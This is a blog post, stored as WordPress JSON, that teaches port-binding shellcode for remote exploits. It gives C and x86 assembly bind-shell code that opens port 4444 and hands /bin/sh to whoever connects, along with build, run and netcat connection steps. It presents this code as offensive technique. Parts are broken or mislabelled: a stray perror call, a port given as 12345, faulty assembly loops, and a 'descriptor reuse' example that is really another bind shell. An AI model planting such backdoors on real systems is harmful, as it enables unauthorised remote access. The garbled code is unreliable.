{"id":2046,"date":"2025-02-06T14:53:49","date_gmt":"2025-02-06T14:53:49","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=2046"},"modified":"2025-02-06T14:53:49","modified_gmt":"2025-02-06T14:53:49","slug":"port-binding-shellcode-remote-shellcode-2","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=2046","title":{"rendered":"Port Binding Shellcode Remote Shellcode"},"content":{"rendered":"<p>When a host is exploited remotely, a multitude of options are available to gain access to that particular machine. The first choice is usually to try the <strong>execve<\/strong> code to see if it works for that particular server. If that server duplicated the socket descriptors to stdout and stdin, small <strong>execve<\/strong> shellcode will work fine. Often, however, this is not the case. This section explores dierent shellcode methodologies that apply to remote vulnerabilities.<\/p>\n<p>One of the most common shellcodes for remote vulnerabilities binds a shell to a high port. This allows an attacker to create a server on the exploited host that executes a shell when connected to. By far the most primitive technique, this is easy to implement in shellcode. In C, the code to create port binding shellcode.<\/p>\n<p>Example of how you might implement port binding shellcode functionality in C. This code demonstrates the concepts used in port binding shellcode, although it\u2019s simplified compared to the shellcode directly written in assembly language.<\/p>\n<p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;sys\/socket.h&gt;<br \/>\n#include &lt;netinet\/in.h&gt;<br \/>\n#include &lt;unistd.h&gt;<\/p>\n<p>int main() {<br \/>\n    perror(&#8220;Socket creation failed&#8221;);<\/p>\n<p>    \/\/ Create a socket<br \/>\n    int sockfd = socket(AF_INET, SOCK_STREAM, 0);<br \/>\n    if (sockfd &lt; 0) {<br \/>\n        exit(EXIT_FAILURE);<br \/>\n    }<\/p>\n<p>    \/\/ Define the server address structure<br \/>\n    struct sockaddr_in serv_addr;<br \/>\n    serv_addr.sin_family = AF_INET;<br \/>\n    serv_addr.sin_addr.s_addr = INADDR_ANY;<br \/>\n    serv_addr.sin_port = htons(4444); \/\/ Port 4444 in network byte order<\/p>\n<p>    \/\/ Bind the socket to the server address<br \/>\n    if (bind(sockfd, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0) {<br \/>\n        perror(&#8220;Bind failed&#8221;);<br \/>\n        exit(EXIT_FAILURE);<br \/>\n    }<\/p>\n<p>    \/\/ Start listening for incoming connections<br \/>\n    if (listen(sockfd, 5) &lt; 0) {<br \/>\n        perror(&#8220;Listen failed&#8221;);<br \/>\n        exit(EXIT_FAILURE);<br \/>\n    }<\/p>\n<p>    \/\/ Accept incoming connections<br \/>\n    int newsockfd = accept(sockfd, NULL, NULL);<br \/>\n    if (newsockfd &lt; 0) {<br \/>\n        perror(&#8220;Accept failed&#8221;);<br \/>\n        exit(EXIT_FAILURE);<br \/>\n    }<\/p>\n<p>    \/\/ Redirect standard input, output, and error to the new socket<br \/>\n    dup2(newsockfd, 0); \/\/ stdin<br \/>\n    dup2(newsockfd, 1); \/\/ stdout<br \/>\n    dup2(newsockfd, 2); \/\/ stderr<\/p>\n<p>    \/\/ Execute \/bin\/sh<br \/>\n    execl(&#8220;\/bin\/sh&#8221;, &#8220;sh&#8221;, NULL);<\/p>\n<p>    return 0;<br \/>\n}<\/p>\n<p><strong>In this C code:<\/strong><\/p>\n<p>We create a socket using socket(AF_INET, SOCK_STREAM, 0) to establish a TCP socket. 2. We defi ne the server address structure (struct sockaddr_in) and bind the socket to port 4444 using <strong>bind.<\/strong><\/p>\n<p>We start listening for incoming connections using listen.<\/p>\n<p>We accept incoming connections with accept, which creates a new socket for communication with the client.<\/p>\n<p>We use dup2 to redirect standard input, output, and error to the new socket, e ectively allowing us to communicate with the client.<\/p>\n<p>Finally, we execute <strong>\/bin\/sh<\/strong> using execl to spawn a shell for the attacker to interact with.<\/p>\n<p>Please note that this C code is for educational purposes and may not work as expected in all environments. Additionally, using such functionality in a real-world scenario should only be done with explicit authorization and for legitimate security testing purposes.<\/p>\n<p><strong>Run the C code provided, follow these steps:<\/strong><\/p>\n<p>Open a Text Editor: Open a text editor such as Notepad, VS Code, Sublime Text, or any other editor you prefer.<\/p>\n<p>Copy the Code: Copy the C code from the previous message and paste it into your text editor.<\/p>\n<p>Save the File: Save the fi le with a .c extension, such as port_bind.c.<\/p>\n<p>Compile the Code: Open a terminal or command prompt, navigate to the directory where you saved the .c fi le, and compile the code using a C compiler like GCC. For example:<\/p>\n<p><strong>gcc -o port_bind port_bind.c<\/strong><\/p>\n<p>Run the Executable: After compiling successfully, run the executable fi le created by the compiler. If you used the command above, the executable will be named port_bind. Run it using:<\/p>\n<p><strong>.\/port_bind<\/strong><\/p>\n<p>Connect to the Port: Once the program is running, it will bind to port 4444 and wait for incoming connections. You can use tools like netcat (nc) or a programming language like Python to connect to this port and interact with the shell.<\/p>\n<p><strong>Example of connecting to the port using netcat:<\/strong><\/p>\n<p>nclocalhost4444<\/p>\n<p>This will establish a connection to the port where your program is listening, and you should see a shell prompt where you can enter commands. Keep in mind that this code creates a backdoor-like functionality and should only be used for educational purposes or with explicit authorization for security testing.<\/p>\n<p><strong>This code binds a socket to a high port (in this case, 12345) and executes a shell when the<\/strong> <strong>connection occurs. This technique is common, but has some problems. If the host being<\/strong> <strong>exploited has a firewall with a default deny policy, the attacker will be unable to connect to<\/strong> <strong>the shell.<\/strong><\/p>\n<p>Port binding shellcode is a type of shellcode used in exploit development and penetration testing. It allows an attacker to open a network port on a compromised system, enabling remote access or communication with the system.<\/p>\n<p>Example of x86 Linux shellcode that performs a port binding operation:<\/p>\n<p>section .text<\/p>\n<p>global _start<\/p>\n<p>_start:<\/p>\n<p>    ; Socket syscall (socket(AF_INET, SOCK_STREAM, IPPROTO_IP))<br \/>\n    xor eax, eax            ; Clear EAX register<br \/>\n    xor ebx, ebx            ; Clear EBX register<\/p>\n<p>    push byte 0x6           ; IPPROTO_IP (IP protocol number)<br \/>\n    push byte 0x1           ; SOCK_STREAM (TCP socket type)<br \/>\n    push byte 0x2           ; AF_INET (IPv4 family)<\/p>\n<p>    mov al, 0x66            ; Socketcall syscall number for socket<br \/>\n    mov bl, 0x1             ; Socketcall syscall for socket function<br \/>\n    int 0x80                ; Call socket syscall<\/p>\n<p>    ; Bind syscall (bind(sockfd, &amp;addr, addrlen))<br \/>\n    mov ebx, eax            ; Store socket file descriptor in EBX<br \/>\n    xor eax, eax            ; Clear EAX register<\/p>\n<p>    push eax                ; Null byte for terminating string<br \/>\n    push word 0x5c11        ; Port 4444 in little-endian format<br \/>\n    push word 0x2           ; AF_INET (IPv4 family)<\/p>\n<p>    mov ecx, esp            ; ECX points to the address struct<br \/>\n    mov al, 0x66            ; Socketcall syscall number for bind<br \/>\n    mov bl, 0x2             ; Socketcall syscall for bind function<br \/>\n    int 0x80                ; Call bind syscall<\/p>\n<p>    ; Listen syscall (listen(sockfd, backlog))<br \/>\n    mov al, 0x66            ; Socketcall syscall number for listen<br \/>\n    mov bl, 0x4             ; Socketcall syscall for listen function<br \/>\n    int 0x80                ; Call listen syscall<\/p>\n<p>    ; Accept syscall (accept(sockfd, addr, addrlen))<br \/>\n    xor eax, eax            ; Clear EAX register<br \/>\n    mov al, 0x66            ; Socketcall syscall number for accept<br \/>\n    mov bl, 0x5             ; Socketcall syscall for accept function<\/p>\n<p>    push eax                ; Null byte for terminating string<br \/>\n    push ebx                ; Null byte for terminating string<br \/>\n    mov ecx, esp            ; ECX points to the address struct<br \/>\n    int 0x80                ; Call accept syscall<\/p>\n<p>    ; Dup2 loop for standard input, output, and error<br \/>\ndup_loop:<br \/>\n    xor ebx, ebx            ; Clear EBX register<br \/>\n    mov al, 0x3f            ; Syscall number for dup2<br \/>\n    inc ebx                 ; Increment EBX (file descriptor)<br \/>\n    int 0x80                ; Call dup2 syscall<br \/>\n    cmp ebx, 0x2            ; Compare EBX with 2 (stderr)<br \/>\n    jle dup_loop            ; Jump to dup_loop if less than or equal to 2<\/p>\n<p>    ; Execute \/bin\/sh<br \/>\n    xor eax, eax            ; Clear EAX register<br \/>\n    push eax                ; Null byte for terminating string<br \/>\n    push 0x68732f2f         ; &#8220;hs\/\/&#8221; in little-endian format<br \/>\n    push 0x6e69622f         ; &#8220;nib\/&#8221; in little-endian format<\/p>\n<p>    mov ebx, esp            ; Store pointer to &#8220;\/bin\/\/sh&#8221; string in EBX<br \/>\n    mov al, 0xb             ; Syscall number for execve<br \/>\n    int 0x80                ; Call execve syscall<\/p>\n<p><strong>This shellcode performs the following actions:<\/strong><\/p>\n<p>Calls the socket syscall to create a TCP socket.<\/p>\n<p>Calls the bind syscall to bind the socket to a specifi ed port (4444 in this case).<\/p>\n<p>Calls the listen syscall to start listening for incoming connections.<\/p>\n<p>Calls the accept syscall to accept incoming connections and create a new socket for communication.<\/p>\n<p>Sets up a loop to duplicate fi le descriptors for standard input, output, and error using the dup2 syscall.<\/p>\n<p>Executes <strong>\/bin\/sh<\/strong> to spawn a shell for the attacker to interact with.<\/p>\n<p>This shellcode can be injected into a vulnerable program or used as part of an exploit to gain remote access to a compromised system.<\/p>\n<p>To run the port binding assembly code, you fi rst need to assemble it into an executable format that your system can execute. Since assembly code is platform-specifi c, you\u2019ll<\/p>\n<p>typically use an assembler like NASM (Netwide Assembler) to convert the assembly code into machine code and then link it into an executable.<\/p>\n<p><strong>To run a port binding assembly code:<\/strong> <\/p>\n<div class=\"wp-block-image\">\n<\/div>\n<p>Save the Assembly Code: Copy the assembly code provided earlier into a text fi le and save it with a .asm extension, such as port_bind.asm.<\/p>\n<p>Install NASM: If you don\u2019t have NASM installed, you\u2019ll need to install it. On Ubuntu or Debian-based systems, you can install NASM with the command:<\/p>\n<p><strong>sudo apt-get install nasm<\/strong><\/p>\n<p>Assemble the Code: Open a terminal and navigate to the directory where you saved port_bind.asm. Use NASM to assemble the code and generate an object fi le:<\/p>\n<p><strong>nasm -f elf32 -o port_bind.o port_bind.asm<\/strong><\/p>\n<p>Replace elf32 with elf64 if you\u2019re targeting a 64-bit system.<\/p>\n<p>Link the Object File: After generating the object fi le, link it to create an executable binary: <strong>ld -m elf_i386 -o port_bind port_bind.o<\/strong><\/p>\n<p><strong>If you\u2019re targeting a 64-bit system, use elf_x86_64 instead of elf_i386.<\/strong><\/p>\n<p>Run the Executable: Once the linking process is successful, you can run the port_bind executable:<\/p>\n<p>.<strong>\/port_bind<\/strong><\/p>\n<p>Connect to the Port: After running the executable, it will bind to the specifi ed port (e.g., port 4444). You can use tools like netcat (nc) or another program to connect to this port and interact with the shell.<\/p>\n<p><strong>To connect using netcat:<\/strong><\/p>\n<p>nclocalhost4444<\/p>\n<p>This will establish a connection to the port where your program is listening, and you should see a shell prompt where you can enter commands.<\/p>\n<p>Keep in mind that running assembly code directly like this may require proper permissions and could potentially harm your system if the code is malicious or not properly handled. Always exercise caution and use code from trusted sources.<\/p>\n<h2 class=\"wp-block-heading\"><strong>Socket Descriptor Reuse Shellcode<\/strong> <\/h2>\n<p>When choosing shellcode for an exploit, you should always assume that a fi rewall with a default deny policy will be in place. In this case, port-binding shellcode is not usually the best choice.<\/p>\n<p>A better tactic is to recycle the current socket descriptor and utilize that socket instead of creating a new one. In essence, the shellcode iterates through the descriptor table, looking for the correct socket. If the correct socket is found, the descriptors are duplicated and a shell is executed.<\/p>\n<p>Example of how you implement a socket descriptor reuse functionality in C. This code demonstrates the concept of reusing a socket descriptor to redirect input, output, and error streams to a network socket, allowing for remote shell access.<\/p>\n<p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;sys\/socket.h&gt;<br \/>\n#include &lt;netinet\/in.h&gt;<br \/>\n#include &lt;unistd.h&gt;<\/p>\n<p>int main() {<br \/>\n    \/\/ Create a socket<br \/>\n    int sockfd = socket(AF_INET, SOCK_STREAM, 0);<br \/>\n    if (sockfd &lt; 0) {<br \/>\n        perror(&#8220;Socket creation failed&#8221;);<br \/>\n        exit(EXIT_FAILURE);<br \/>\n    }<\/p>\n<p>    \/\/ Define the server address structure<br \/>\n    struct sockaddr_in serv_addr;<br \/>\n    serv_addr.sin_family = AF_INET;<br \/>\n    serv_addr.sin_addr.s_addr = INADDR_ANY;<br \/>\n    serv_addr.sin_port = htons(4444); \/\/ Port 4444 in network byte order<\/p>\n<p>    \/\/ Bind the socket to the server address<br \/>\n    if (bind(sockfd, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0) {<br \/>\n        perror(&#8220;Bind failed&#8221;);<br \/>\n        exit(EXIT_FAILURE);<br \/>\n    }<\/p>\n<p>    \/\/ Start listening for incoming connections<br \/>\n    if (listen(sockfd, 5) &lt; 0) {<br \/>\n        perror(&#8220;Listen failed&#8221;);<br \/>\n        exit(EXIT_FAILURE);<br \/>\n    }<\/p>\n<p>    while (1) {<br \/>\n        \/\/ Accept incoming connections<br \/>\n        int newsockfd = accept(sockfd, NULL, NULL);<br \/>\n        if (newsockfd &lt; 0) {<br \/>\n            perror(&#8220;Accept failed&#8221;);<br \/>\n            continue;<br \/>\n        }<\/p>\n<p>        \/\/ Redirect standard input, output, and error to the new socket<br \/>\n        dup2(newsockfd, 0); \/\/ stdin<br \/>\n        dup2(newsockfd, 1); \/\/ stdout<br \/>\n        dup2(newsockfd, 2); \/\/ stderr<\/p>\n<p>        \/\/ Execute \/bin\/sh<br \/>\n        execl(&#8220;\/bin\/sh&#8221;, &#8220;sh&#8221;, NULL);<\/p>\n<p>        \/\/ Close the new socket (this line is not reached if execl succeeds)<br \/>\n        close(newsockfd);<br \/>\n    }<\/p>\n<p>    \/\/ Close the listening socket (this code is unreachable in this example)<br \/>\n    close(sockfd);<\/p>\n<p>    return 0;<br \/>\n}<\/p>\n<p><strong>In this code:<\/strong><\/p>\n<p>We create a socket using socket**(AF_INET, SOCK_STREAM, 0)** to establish a TCP socket.<\/p>\n<p>We defi ne the server address structure <strong>(struct sockaddr_in)<\/strong> and bind the socket to port 4444 using <strong>bind.<\/strong><\/p>\n<p>We start listening for incoming connections using <strong>listen.<\/strong><\/p>\n<p>Inside the <strong>while<\/strong> loop, we accept incoming connections with <strong>accept<\/strong>, which creates a new socket for communication with the client.<\/p>\n<p>We use <strong>dup2<\/strong> to redirect standard input, output, and error to the new socket, e ectively allowing us to communicate with the client.<\/p>\n<p>Finally, we execute <strong>\/bin\/sh<\/strong> using <strong>execl<\/strong> to spawn a shell for the attacker to interact with.<\/p>\n<p>This code continuously listens for incoming connections, accepts them, and spawns a shell for each incoming connection, allowing for remote shell access. <\/p>\n<p>\u2764\ufe0f If you liked the article,\u00a0<strong>like and subscribe<\/strong>\u00a0to my channel\u00a0<strong>\u201c<a href=\"http:\/\/t.me\/codelivly\">Codelivly<\/a>\u201d.<\/strong><\/p>\n<p>\ud83d\udc4d If you have any questions or if I would like to discuss the described hacking tools in more detail, then\u00a0<strong>write in the comments<\/strong>. Your opinion is very important to me!<\/p>","protected":false},"excerpt":{"rendered":"<p>When a host is exploited remotely, a multitude of options are available to gain access to that particular machine. The first choice is usually to try the execve code to see if it works for that particular server. If that server duplicated the socket descriptors to stdout and stdin, small execve shellcode will work fine. [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":1814,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2046","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/2046"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2046"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/2046\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/media\/1814"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2046"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2046"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2046"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}